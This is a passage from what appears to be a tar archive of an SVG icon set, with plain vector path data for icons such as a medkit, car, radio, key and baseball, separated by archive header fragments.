166.8-74.5l-1.4-4.8c-8-23-22.9-58.9-62.7-107.8z"/></svg>collection/icon/svg/ios-medkit.svg000064400000000726151701353760013231 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M432 128h-84V96c0-17.6-14.4-32-32-32H196c-17.6 0-32 14.4-32 32v32H80c-17.7 0-32 14.3-32 32v256c0 17.7 14.3 32 32 32h352c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32zm-240-28c0-4.4 3.6-8 8-8h112c4.4 0 8 3.6 8 8v28H192v-28zm128 204h-48v48c0 8.8-7.2 16-16 16s-16-7.2-16-16v-48h-48c-8.8 0-16-7.2-16-16s7.2-16 16-16h48v-48c0-8.8 7.2-16 16-16s16 7.2 16 16v48h48c8.8 0 16 7.2 16 16s-7.2 16-16 16z"/></svg>collection/icon/svg/logo-flickr.svg000064400000000515151701353760013370 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 64H160c-52.8 0-96 43.2-96 96v192c0 52.8 43.2 96 96 96h192c52.8 0 96-43.2 96-96V160c0-52.8-43.2-96-96-96zM184 304c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm144 0c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48z"/></svg>collection/icon/svg/md-american-football.svg000064400000000655151701353760015142 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M32 256c14.1 35 36.2 66 64 90.6V165.4C68.2 190 46.1 221 32 256zM480 256c-14.1-35-36.2-66-64-90.6v181.2c27.8-24.6 49.9-55.6 64-90.6z"/><g><path d="M256 105c-47.1 0-91 13.4-128 36.5v228.9c37 23.1 80.9 36.5 128 36.5s91-13.4 128-36.5V141.5c-37-23.1-80.9-36.5-128-36.5zm96 135v64h-32v-32h-48v32h-32v-32h-48v32h-32v-96h32v32h48v-32h32v32h48v-32h32v32z"/></g></svg>collection/icon/svg/ios-car.svg000064400000001311151701353760012510 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 196.2c-13.8-30.8-49-92.2-100-92.2H196c-51 0-84.8 59.4-100 92.2-24 23-48 45.7-48 84.8v76c0 3.7 2.6 7 6.2 7.8C69.1 368.2 116.4 375 256 375s186.9-6.8 201.8-10.2c3.6-.8 6.2-4.1 6.2-7.8v-76c0-39-22.3-63.1-48-84.8zM190 128h132c40.5 0 62 60 62 70H128c0-10 27-70 62-70zm-78 203.7c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32c0 17.6-14.3 32-32 32zM328 300c0 8.8-7.2 16-16 16H200c-8.8 0-16-7.2-16-16s7.2-16 16-16h112c8.8 0 16 7.2 16 16zm72 32c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zM160 384c-47.9 0-96-5-96-5 0 17-.3 29 6 29h85c6.3 0 5-13.2 5-24zM352 384c48 0 96-5 96-5 0 16 2 29-5 29h-86c-6.7 0-5-13.5-5-24z"/></svg>collection/icon/svg/ios-print.svg000064400000001005151701353760013077 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M128 248v200c0 8.8 7.2 16 16 16h224c8.8 0 16-7.2 16-16V248c0-8.8-7.2-16-16-16H144c-8.8 0-16 7.2-16 16zM384 48H128c-8.8 0-16 7.2-16 16v20c0 2.2 1.8 4 4 4h280c2.2 0 4-1.8 4-4V64c0-8.8-7.2-16-16-16z"/><path d="M432.5 112h-352C62.9 112 48 125.8 48 143.3v174.4c0 17.5 14.9 32.3 32.5 32.3H96c4.4 0 8-3.6 8-8V236c0-15.5 12.5-28 28-28h248c15.5 0 28 12.5 28 28v106c0 4.4 3.6 8 8 8h16.5c17.6 0 31.5-14.8 31.5-32.3V143.3c0-17.5-13.9-31.3-31.5-31.3z"/></svg>collection/icon/svg/md-arrow-forward.svg000064400000000263151701353760014352 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M85 277.375h259.704L225.002 397.077 256 427l171-171L256 85l-29.922 29.924 118.626 119.701H85v42.75z"/></svg>collection/icon/svg/ios-radio.svg000064400000003425151701353760013051 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M60 256c0-51 18.6-97.9 54-135.6 5.3-5.7 5.2-14.8-.4-20.3-2.6-2.6-6.1-4.1-9.7-4.1-3.8 0-7.4 1.6-10.1 4.4C53.3 143.7 32 197.4 32 256c0 58.5 21.3 112.3 61.7 155.5 2.7 2.9 6.3 4.5 10.2 4.5 3.6 0 7.1-1.4 9.7-3.9 2.7-2.6 4.3-6.2 4.4-10 .1-3.9-1.3-7.6-4-10.3C78.6 353.9 60 307 60 256zM418.2 100.4c-2.6-2.8-6.2-4.4-10-4.4-3.6 0-7.1 1.4-9.7 3.9-2.7 2.6-4.3 6.2-4.4 10-.1 3.9 1.3 7.6 4 10.3 35.3 37.8 54 84.7 54 135.7s-18.6 97.9-54 135.7c-5.3 5.6-5.2 14.7.3 20.2 2.5 2.6 6 4 9.7 4 3.9 0 7.6-1.6 10.2-4.6 40.4-43 61.7-96.7 61.7-155.2 0-58.5-21.3-112.4-61.8-155.6z"/><path d="M159.2 347.7c-24.1-24.3-37.3-56.6-37.3-90.9 0-35 13.8-67.9 38.8-92.4 5.5-5.3 5.6-14.2.2-19.8-2.6-2.7-6.2-4.2-10-4.2-3.7 0-7.2 1.4-9.8 4C110.7 174.2 94 214.1 94 256.8c0 41.6 16.1 80.9 45.3 110.6 2.7 2.7 6.2 4.2 9.9 4.2s7.2-1.5 9.8-4.2c2.6-2.6 4.1-6.1 4.1-9.8.2-3.7-1.2-7.2-3.9-9.9zM371 144.5c-2.6-2.6-6-4-9.8-4-3.8 0-7.3 1.5-10 4.1-5.4 5.4-5.4 14.3.1 19.8 25 24.5 38.7 56.5 38.7 91.5 0 34.2-13.1 67.4-37.1 91.8-5.4 5.4-5.3 14.3.1 19.7 2.6 2.6 6.2 4.1 9.8 4.1 3.8 0 7.4-1.5 9.9-4.1C402 337.7 418 297.6 418 256c0-42.5-16.7-81.5-47-111.5z"/><path d="M207.1 183.4c-2.6-2.7-6.2-4.2-10-4.2-3.7 0-7.2 1.4-9.8 4.1-19.8 19.5-30.8 45.6-30.8 73.3 0 27.1 10.5 52.7 29.5 72.1 2.7 2.7 6.2 4.2 10 4.2 3.7 0 7.2-1.4 9.8-4 2.7-2.6 4.2-6.1 4.2-9.9 0-3.8-1.4-7.3-4.1-10-13.8-14-21.4-32.6-21.4-52.5 0-20.3 8-39.2 22.4-53.4 5.4-5.2 5.5-14.1.2-19.7zM325.7 183.2c-2.6-2.6-6-4-9.8-4-3.8 0-7.3 1.5-10 4.1-5.4 5.4-5.4 14.3.1 19.8 14.5 14.3 22.4 33.3 22.4 53.5 0 19.8-7.6 38.5-21.5 52.5-2.6 2.6-4.1 6.2-4 9.9 0 3.7 1.5 7.2 4.1 9.8 2.6 2.6 6.2 4.1 9.8 4.1 3.7 0 7.3-1.5 9.9-4.2 19.1-19.4 29.6-45 29.6-72.1.1-27.8-10.8-53.8-30.6-73.4zM256 218c-21 0-38 17-38 38s17 38 38 38 38-17 38-38-17.1-38-38-38z"/></svg>collection/icon/svg/md-star.svg000064400000000321151701353760012522 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 372.686L380.83 448l-33.021-142.066L458 210.409l-145.267-12.475L256 64l-56.743 133.934L54 210.409l110.192 95.525L131.161 448z"/></svg>collection/icon/svg/md-unlock.svg000064400000000644151701353760013054 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M376 186h-20v-40c0-55-45-100-100-100S156 91 156 146h37.998c0-34.004 28.003-62.002 62.002-62.002 34.004 0 62.002 27.998 62.002 62.002H318v40H136c-22.002 0-40 17.998-40 40v200c0 22.002 17.998 40 40 40h240c22.002 0 40-17.998 40-40V226c0-22.002-17.998-40-40-40zM256 368c-22.002 0-40-17.998-40-40s17.998-40 40-40 40 17.998 40 40-17.998 40-40 40z"/></svg>collection/icon/svg/logo-model-s.svg000064400000004114151701353760013455 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M443.6 208.4c-3.1-1.9-2.2-6.6 1.3-7.3l5.3-1.1c7.1 0 22.4-2.3 25.6-5.4 3.1-3.2 4.2-5.4 4.2-8.2s-1.7-7.7-4.8-11.1c-3-3.4-16-5.2-23.7-6.2s-8.7 0-10.7 1.2c-2 1.3-2.8 9.5-3.1 15-.1 1.2-.9 2.2-2.1 2.5l-.4.1c-3.3.7-6.6-1.1-7.8-4.3-4.6-13-10.7-32.5-19.4-48.4-11.5-20.8-23.5-27.4-28.5-29-4.9-1.5-9.4-2.6-43-6.1-33.8-3.6-63.1-4.1-80.5-4.1s-46.7.5-80.6 4.1c-33.6 3.4-38.1 4.5-43 6.1-5 1.6-17 8.2-28.5 29-9.4 17.1-15.7 38.3-20.4 51.3-.6 1.5-2.2 2.4-3.8 2.1-3.1-.7-5.4-3.3-5.6-6.5-.4-5-1.2-10.7-2.9-11.7-2-1.3-3-2.2-10.7-1.2s-20.6 2.8-23.7 6.2c-3 3.4-4.7 8.3-4.7 11.1s1.1 5.1 4.2 8.3c3.1 3.2 18.5 5.4 25.6 5.4l5.3 1.1c3.5.7 4.4 5.4 1.3 7.3-9.1 5.7-23.2 15.3-32.3 25.6 0 0-4.1 28.7-4.1 62.1 0 48 5.8 92.4 5.8 92.4 1.8.3 3.6.6 5.3.9 0 1.2.7 13.1 2 21.2.3 2 1.3 5.5 6.2 5.5h64.7c1.9 0 5.1-1.6 5.1-3.7l1-17c7.2.1 3.2.1 10.9 0 24.8-.3 15.6-7.5 27.1-7.3 11.3.2 55 3 96 3s84.7-2.8 96-3c11.5-.2 2.3 7.1 27.1 7.3 7.7.1 4.7.1 11.9 0l1 17c0 2.1 3.2 3.7 5.1 3.7h63.5c4.9 0 5.9-3.5 6.2-5.5 1.3-8.1 1.9-19.9 2-21.2l5.4-.9s5.8-44.3 5.8-92.4c0-33.5-4.1-62.1-4.1-62.1-9.3-10.5-23.4-20.1-32.5-25.8zm-320.2-53.6c2.2-5.1 5.9-11.6 10-17.2 5-6.7 12.4-11.2 20.6-12.5 16.7-2.7 52.6-7.3 101.9-7.3 49.3 0 85.2 4.6 101.9 7.3 8.2 1.3 15.6 5.8 20.6 12.5 4.2 5.6 7.9 12.1 10.1 17.2 3.9 9.2 10.4 30.7 9.4 33.2-1 2.5 1 3.7-12.2 2.6-13.1-1-90.6-2.1-129.7-2.1-39.2 0-116.7 1.1-129.7 2.1-13.2 1.1-11.3-.2-12.2-2.6s5.4-24 9.3-33.2zm8.4 116c-9.9 0-29.8-1-34.5-1.2-4.7-.1-8.8 3.8-11.2 3.8s-25.5-3.6-28-14.9c-1.7-7.5-1.1-15.2-.6-19.5.3-1.9 1.9-3.4 3.8-3.5 14.4-.5 29.2.5 55.3 7.9 17.3 4.9 29.8 12.6 36.9 17.8 2.8 2.1 1.8 6.5-1.7 7.2-6.1 1.1-14.4 2.4-20 2.4zm210.4 73c-12.7 1.7-58.5 2.2-86.2 2.2s-73.5-.5-86.2-2.2c-13.1-1.7-29.8-17.3-18.4-30.2 7.6-8.5 20.8-13.6 48.9-17.3 29.8-3.8 48.6-4.3 55.6-4.3s25.8.5 55.6 4.3c28.1 3.7 43.2 9.6 48.9 17.3 10.4 13.8-5.1 28.4-18.2 30.2zm111.7-85.2c-2.5 11.2-25.6 14.9-28 14.9s-6.5-3.9-11.2-3.8c-4.7.2-24.6 1.2-34.5 1.2-5.5 0-13.8-1.3-20-2.4-3.5-.6-4.5-5.1-1.7-7.2 7.1-5.2 19.6-12.9 36.9-17.8 26.1-7.4 40.8-8.4 55.3-7.9 2 .1 3.6 1.5 3.8 3.5.5 4.3 1.1 12-.6 19.5z"/></svg>collection/icon/svg/ios-key.svg000064400000001240151701353760012534 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M344.8 218.1c-13 0-25.6 0-37.4 4.1-50.6-43.1-184.3-156.9-194.5-167.5-4.7-4.9-9.9-6.7-15-6.7-8.5 0-16.7 5.2-21.3 9.6-6.9 6.6-33 34.8-28 40 15 15.4 19 18.5 25.2 24.8 9.3 9.5 28.3-1 36 2.3 7.6 3.3 9.2 6.8 10.4 12.5s-2.9 15.8-3 23.7c-.1 8.3 3.4 12.8 9.2 19 4.6 5 8.9 8.6 15.6 8.7 9 .2 20.9-12.8 30.4-3.1s-6.2 23.7-5 34 15.5 22.8 21.6 24.1c6.1 1.3 21.8-11.7 30.7-9.7 3 .7 10 6.8 11 11.4s-6.9 25-5.9 29.6c1.2 5.6 7.1 12.1 10.4 17.4-6.7 15.5-9.4 29.6-9.4 47.7 0 68.5 53.4 124 119.2 124s119-55.5 119-124-53.4-121.9-119.2-121.9zM368 400c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"/></svg>collection/icon/svg/md-backspace.svg000064400000000540151701353760013470 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M433.5 96H167.2c-12.2 0-21.8 6.2-28.2 15.6L43 256l96 144.2c6.4 9.4 16 15.8 28.2 15.8h266.2c19.5 0 35.5-16 35.5-35.6V131.6C469 112 453 96 433.5 96zm-53.3 223.8l-25 25.1-63.7-63.8-63.7 63.8-25-25.1 63.7-63.8-63.7-63.8 25-25.1 63.7 63.8 63.7-63.8 25 25.1-63.7 63.8 63.7 63.8z"/></svg>collection/icon/svg/ios-cube.svg000064400000000767151701353760012677 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M440.8 129.5L261.7 49.2c-3.6-1.6-7.7-1.6-11.3 0L71.2 129.5c-6 2.7-6.2 11.8-.4 14.8l178.7 94.1c4.1 2.2 8.9 2.2 13 0l178.7-94.1c5.8-3 5.6-12.1-.4-14.8zM280.2 462.9l180.1-95.3c2.2-1.4 3.6-4 3.6-6.8V175.9c0-5.9-5.8-9.7-10.7-7.1l-180.1 92.8c-2.6 1.3-4.2 4.1-4.2 7.1V456c.1 6.2 6.4 10 11.3 6.9zM48 175.9v184.8c0 2.8 1.4 5.4 3.6 6.8l180.1 95.3c5 3.2 11.2-.6 11.2-6.8V268.7c0-3-1.6-5.8-4.2-7.1l-180-92.8c-4.9-2.6-10.7 1.3-10.7 7.1z"/></svg>collection/icon/svg/ios-copy.svg000064400000000731151701353760012722 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 115h90c3.3 0 6-2.7 6-6 0-8.2-3.7-16-10-21.3l-77.1-64.2c-4.9-4.1-14.2-7.4-20.6-7.4-4.1 0-7.4 3.3-7.4 7.4V96c.1 10.5 8.6 19 19.1 19z"/><path d="M307 96V16H176c-17.6 0-32 14.4-32 32v336c0 17.6 14.4 32 32 32h240c17.6 0 32-14.4 32-32V141h-96c-24.8 0-45-20.2-45-45z"/><path d="M116 412V80H96c-17.6 0-32 14.4-32 32v352c0 17.6 14.4 32 32 32h256c17.6 0 32-14.4 32-32v-20H148c-17.6 0-32-14.4-32-32z"/></svg>collection/icon/svg/ios-battery-dead.svg000064400000000514151701353760014314 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M396 144H64c-26.4 0-48 21.6-48 48v128c0 26.4 21.6 48 48 48h332c26.4 0 48-21.6 48-48V192c0-26.4-21.6-48-48-48zm20 176c0 11-9 20-20 20H64c-11 0-20-9-20-20V192c0-11 9-20 20-20h332c11 0 20 9 20 20v128zM464 204.6v102.8c16 0 32-27.7 32-51.4s-16-51.4-32-51.4z"/></svg>collection/icon/svg/ios-leaf.svg000064400000000671151701353760012662 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M453.9 378.7c-51.8-8-55.7-11.7-55.7-11.7 15.6-74-22.4-151.1-76.3-195.6C250.1 112.2 141 155.2 56 65.2c-19.8-21-8.3 235.5 98.1 332.7 77.8 71 169.4 49.2 194.5 37.6 22.8-10.6 38.7-33.9 38.7-33.9 41.5 13 62 14.2 62 14.2 14.6 1.8 22-34.4 4.6-37.1zm-91.8 7.4c-77.7-23.3-145.3-81-189.1-126.2-3.6-3.7 1.6-9.2 5.5-6 43.1 35.5 108.9 80 193.3 107.9.2 8.1-4.5 19.7-9.7 24.3z"/></svg>collection/icon/svg/ios-snow.svg000064400000004126151701353760012740 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M440.5 345.8L408.1 327c11.8-12.3 26-18.2 26.2-18.3 7.5-3 11.4-11.4 8.9-19.1-1.9-5.9-7.4-9.8-13.5-9.8-1.9 0-3.7.4-5.5 1.1-1 .4-24.4 10-41.9 31.2l-96.3-56 96.3-56c17.5 21.2 40.8 30.8 41.9 31.2 1.8.7 3.6 1.1 5.5 1.1 6.1 0 11.6-4 13.5-9.8 2.5-7.7-1.4-16.1-8.9-19.1-.1-.1-14.3-6-26.2-18.3l32.4-18.8c7.2-4.2 9.6-13.4 5.5-20.6-2.7-4.7-7.7-7.6-13.1-7.6-2.6 0-5.3.7-7.6 2L393.1 159c-4.5-16.2-2.7-31.4-2.6-32 1.1-8.1-4.1-15.6-12-17.3-1-.2-2-.3-3-.3-7.1 0-13 5.2-14.1 12.4-.2 1.1-3.6 26 6.1 52.2l-96 56v-99.2c26.9-4.7 46.8-20.2 47.7-20.9 3.1-2.5 5.1-6 5.4-10 .3-4-.9-7.8-3.6-10.8-2.9-3.2-7-5.1-11.4-5.1-3.4 0-6.8 1.2-9.5 3.3-.1.1-12.2 9.4-28.6 13.6V63.1c0-8.2-7.1-15.1-15.5-15.1s-15.5 6.9-15.5 15.1v37.5c-16.3-4.2-28.4-13.5-28.6-13.6-2.7-2.1-6-3.3-9.5-3.3-4.4 0-8.5 1.9-11.4 5.1-2.7 3-4 7-3.6 10.9.3 3.9 2.3 7.4 5.4 9.9.9.7 20.8 16.2 47.7 20.9v99.2l-96-56c9.6-26 6.2-51.1 6-52.2-1-7.2-6.9-12.4-14-12.4-1 0-2 .1-3 .3-7.9 1.6-13.2 9.3-12 17.3 0 .2 2 15.5-2.6 31.9L86.6 140c-2.3-1.3-4.9-2-7.6-2-5.4 0-10.4 2.9-13.1 7.6-4.1 7.2-1.7 16.5 5.5 20.6l32.4 18.8c-11.7 12.1-25.7 18.1-26.2 18.3-7.5 3-11.4 11.4-8.9 19.1 1.9 5.9 7.4 9.8 13.5 9.8 1.9 0 3.7-.4 5.5-1.1 1-.4 24.4-10 41.9-31.2l96.3 56-96.3 56c-17.5-21.2-40.8-30.8-41.9-31.2-1.8-.7-3.6-1.1-5.5-1.1-6.1 0-11.6 4-13.5 9.8-2.5 7.7 1.4 16 8.9 19.1.5.2 14.5 6.2 26.2 18.3l-32.4 18.8c-7.2 4.2-9.6 13.4-5.5 20.6 2.7 4.7 7.7 7.6 13.1 7.6 2.6 0 5.3-.7 7.6-2l32.3-18.8c4.6 16.5 2.6 31.8 2.6 32-1.2 8 4.1 15.7 12 17.3 1 .2 2 .3 3 .3 7.1 0 13-5.2 14.1-12.4.2-1.1 3.6-26-6.1-52.2l96-56v99.2c-26.9 4.7-46.8 20.2-47.7 20.9-3.1 2.5-5.1 6-5.4 10-.3 4 .9 7.8 3.6 10.8 2.9 3.2 7 5.1 11.4 5.1 3.4 0 6.8-1.2 9.5-3.3.1-.1 12.3-9.4 28.6-13.6v37.5c0 8.2 7.1 15.1 15.5 15.1s15.5-6.9 15.5-15.1v-37.5c16.3 4.2 28.4 13.5 28.6 13.6 2.7 2.1 6.1 3.3 9.5 3.3 4.4 0 8.5-1.9 11.4-5.1 2.7-3 4-7 3.6-10.9-.3-3.9-2.3-7.4-5.4-9.9-.9-.7-20.8-16.2-47.7-20.9V282l96 56c-9.6 26-6.2 51.1-6 52.2 1 7.2 6.9 12.4 14 12.4 1 0 2-.1 3-.3 7.9-1.6 13.1-9.2 12-17.3-.1-.5-1.9-15.7 2.6-32l32.2 18.8c2.3 1.3 4.9 2 7.6 2 5.4 0 10.4-2.9 13.1-7.6 4.1-6.9 1.7-16.2-5.5-20.4z"/></svg>collection/icon/svg/md-watch.svg000064400000000570151701353760012665 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 256c0-51.001-24.004-96.001-60.996-125L336 16H176l-19.004 115C120.004 159.999 96 204.999 96 256c0 50.996 24.004 95.996 60.996 125L176 496h160l19.004-115C391.996 351.996 416 306.996 416 256zm-280 0c0-66.001 54.004-120 120-120s120 53.999 120 120c0 65.996-54.004 120-120 120s-120-54.004-120-120z"/></svg>collection/icon/svg/ios-send.svg000064400000000514151701353760012700 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M435.9 64.9l-367.1 160c-6.5 3.1-6.3 12.4.3 15.3l99.3 56.1c5.9 3.3 13.2 2.6 18.3-1.8l195.8-168.8c1.3-1.1 4.4-3.2 5.6-2 1.3 1.3-.7 4.3-1.8 5.6L216.9 320.1c-4.7 5.3-5.4 13.1-1.6 19.1l64.9 104.1c3.2 6.3 12.3 6.2 15.2-.2L447.2 76c3.3-7.2-4.2-14.5-11.3-11.1z"/></svg>collection/icon/svg/ios-play-circle.svg000064400000000412151701353760014150 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm83.8 211.9l-137.2 83c-2.9 1.8-6.7-.4-6.7-3.9V173c0-3.5 3.7-5.7 6.7-3.9l137.2 83c2.9 1.7 2.9 6.1 0 7.8z"/></svg>collection/icon/svg/ios-options.svg000064400000001161151701353760013441 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M299.3 376c6.2-14.1 20.3-24 36.7-24s30.5 9.9 36.7 24H448c8.8 0 16 7.2 16 16s-7.2 16-16 16h-75.3c-6.2 14.1-20.3 24-36.7 24s-30.5-9.9-36.7-24H64c-8.8 0-16-7.2-16-16s7.2-16 16-16h235.3zM139.3 240c6.2-14.1 20.3-24 36.7-24s30.5 9.9 36.7 24H448c8.8 0 16 7.2 16 16s-7.2 16-16 16H212.7c-6.2 14.1-20.3 24-36.7 24s-30.5-9.9-36.7-24H64c-8.8 0-16-7.2-16-16s7.2-16 16-16h75.3zM299.3 104c6.2-14.1 20.3-24 36.7-24s30.5 9.9 36.7 24H448c8.8 0 16 7.2 16 16s-7.2 16-16 16h-75.3c-6.2 14.1-20.3 24-36.7 24s-30.5-9.9-36.7-24H64c-8.8 0-16-7.2-16-16s7.2-16 16-16h235.3z"/></svg>collection/icon/svg/md-heart-empty.svg000064400000001156151701353760014017 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M349.6 64c-36.4 0-70.7 16.7-93.6 43.9C233.1 80.7 198.8 64 162.4 64 97.9 64 48 114.2 48 179.1c0 79.5 70.7 143.3 177.8 241.7L256 448l30.2-27.2C393.3 322.4 464 258.6 464 179.1 464 114.2 414.1 64 349.6 64zm-80.8 329.3l-4.2 3.9-8.6 7.8-8.6-7.8-4.2-3.9c-50.4-46.3-94-86.3-122.7-122-28-34.7-40.4-63.1-40.4-92.2 0-22.9 8.4-43.9 23.7-59.3 15.2-15.4 36-23.8 58.6-23.8 26.1 0 52 12.2 69.1 32.5l24.5 29.1 24.5-29.1c17.1-20.4 43-32.5 69.1-32.5 22.6 0 43.4 8.4 58.7 23.8 15.3 15.4 23.7 36.5 23.7 59.3 0 29-12.5 57.5-40.4 92.2-28.8 35.7-72.3 75.7-122.8 122z"/></svg>collection/icon/svg/ios-baseball.svg000064400000006470151701353760013523 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256.3 74.2l9.7-3.1c4.7-1.5 9.7 1.1 11.2 5.7l.1.4c1.5 4.7-1.1 9.7-5.7 11.2L260.1 92c-2.1.7-3.2 2.9-2.6 4.9 2.1 6.9 4.5 13.7 7.2 20.5 1.9 4.6 3.9 9.2 6.1 13.7 1.1 2.2 3.8 3 5.9 1.6l8.5-5.8c4.1-2.7 9.6-1.7 12.3 2.4l.2.3c2.7 4.1 1.7 9.6-2.4 12.3l-10.4 7.1a4 4 0 0 0-1.2 5.4c7 11 14.9 21.5 23.7 31.3 1.5 1.7 4.2 1.8 5.8.2l7.5-7.5c3.5-3.5 9.1-3.5 12.5 0l.3.3c3.5 3.5 3.5 9.1 0 12.5l-7.5 7.5c-1.6 1.6-1.5 4.3.2 5.8 10.2 9.1 21 17.3 32.5 24.4a4 4 0 0 0 5.4-1.2l6.9-10.2c2.7-4.1 8.3-5.1 12.3-2.4l.3.2c4.1 2.7 5.1 8.3 2.4 12.3l-5.5 8.1c-1.4 2-.6 4.8 1.6 5.9 4.1 1.9 8.2 3.8 12.4 5.5 7.1 2.9 14.3 5.4 21.7 7.6 2.1.6 4.3-.5 5-2.6l3.5-10.8c1.5-4.7 6.5-7.2 11.2-5.7l.4.1c4.7 1.5 7.2 6.5 5.7 11.2l-2.8 8.8c-.7 2.3.7 4.7 3.1 5.2 7.1 1.3 14.3 2.3 21.5 2.9.1-2.6.2-5.3.2-7.9 0-114.9-93.1-208-208-208-2.7 0-5.3.1-8 .2.7 7.7 1.7 15.3 3.1 22.9.4 2.5 2.9 3.9 5.2 3.2zM258 447.2c-.4-2.4-2.8-3.9-5.2-3.2l-11.6 3.7c-4.7 1.5-9.7-1.1-11.2-5.7l-.1-.4c-1.5-4.7 1.1-9.7 5.7-11.2l13.8-4.4c2-.7 3.2-2.8 2.6-4.9-2.3-7.9-5-15.6-8.1-23.3-1.6-4-3.3-7.9-5.2-11.8-1-2.2-3.8-3-5.9-1.6l-10.9 7.4c-4.1 2.7-9.6 1.7-12.3-2.4l-.2-.3c-2.7-4.1-1.7-9.6 2.4-12.3l13-8.8a4 4 0 0 0 1.2-5.4c-7.2-11.7-15.5-22.7-24.8-33.1-1.5-1.7-4.2-1.8-5.8-.2l-9.9 9.9c-3.5 3.5-9.1 3.5-12.5 0l-.3-.3c-3.5-3.5-3.5-9.1 0-12.5l9.9-9.9c1.6-1.6 1.5-4.3-.2-5.8-10-9-20.6-17-31.9-24a4 4 0 0 0-5.4 1.2l-9 13.3c-2.7 4.1-8.3 5.1-12.3 2.4l-.3-.2c-4.1-2.7-5.1-8.3-2.4-12.3l7.6-11.3c1.4-2 .6-4.8-1.6-5.9-4.3-2.1-8.6-4-13.1-5.8-7.3-2.9-14.6-5.5-22.1-7.7-2-.6-4.3.6-4.9 2.6l-4.6 14.4c-1.5 4.7-6.5 7.2-11.2 5.7l-.4-.1c-4.7-1.5-7.2-6.5-5.7-11.2l4-12.4c.7-2.3-.7-4.8-3.1-5.2-5.8-1-11.7-1.8-17.6-2.4-.1 0-.3 0-.4-.1v4.2c0 114.9 93.1 208 208 208h4.2c0-.1-.1-.3-.1-.4-.5-5.4-1.2-10.9-2.1-16.3z"/><path d="M431.1 280.9l-5.9 18.4c-1.5 4.7-6.5 7.2-11.2 5.7l-.4-.1c-4.7-1.5-7.2-6.5-5.7-11.2l5.3-16.6c.7-2.1-.5-4.4-2.7-5.1-13.5-4-26.8-9.2-39.7-15.6-1.8-.9-4-.3-5.1 1.3l-10.5 15.4c-2.7 4.1-8.3 5.1-12.3 2.4l-.3-.2c-4.1-2.7-5.1-8.3-2.4-12.3l9.2-13.6c1.3-1.9.7-4.4-1.2-5.6-12.3-7.7-24.1-16.6-35.2-26.7-1.6-1.4-4-1.4-5.5.1L294.7 230c-3.5 3.5-9.1 3.5-12.5 0l-.3-.3c-3.5-3.5-3.5-9.1 0-12.5l12.8-12.8c1.5-1.5 1.6-3.9.1-5.5-9.7-10.8-18.4-22.2-26-34-1.2-1.9-3.8-2.5-5.6-1.2l-13.3 9c-4.1 2.7-9.6 1.7-12.3-2.4l-.2-.3c-2.7-4.1-1.7-9.6 2.4-12.3l15.1-10.2c1.7-1.1 2.2-3.3 1.3-5.1-6.4-12.9-11.7-26.2-15.8-39.7-.7-2.1-2.9-3.4-5.1-2.7l-15.9 5.1c-4.7 1.5-9.7-1.1-11.2-5.7l-.1-.4c-1.5-4.7 1.1-9.7 5.7-11.2l17.6-5.6c1.9-.6 3.1-2.6 2.7-4.6-1.8-9.2-3.1-18.6-3.9-27.9-95.4 11.8-170.8 88.2-181 184.1h1c7.5.7 15 1.8 22.4 3.2 2 .4 4-.8 4.6-2.7l4.7-14.8c1.5-4.7 6.5-7.2 11.2-5.7l.4.1c4.7 1.5 7.2 6.5 5.7 11.2l-4.2 13c-.7 2.2.5 4.4 2.7 5.1 13.9 4.1 27.5 9.4 40.7 16 1.8.9 4 .3 5.1-1.3l8.3-12.3c2.7-4.1 8.3-5.1 12.3-2.4l.3.2c4.1 2.7 5.1 8.3 2.4 12.3l-7.1 10.5c-1.3 1.9-.7 4.4 1.2 5.6 12.1 7.7 23.7 16.4 34.6 26.3 1.6 1.4 4 1.4 5.5-.1l10.4-10.4c3.5-3.5 9.1-3.5 12.5 0l.3.3c3.5 3.5 3.5 9.1 0 12.5L214 310.8c-1.5 1.5-1.6 3.9-.1 5.5 10.2 11.3 19.2 23.3 27 35.8 1.2 2 3.7 2.5 5.7 1.2l10.8-7.3c4.1-2.7 9.6-1.7 12.3 2.4l.2.3c2.7 4.1 1.7 9.6-2.4 12.3l-12.7 8.6c-1.7 1.1-2.2 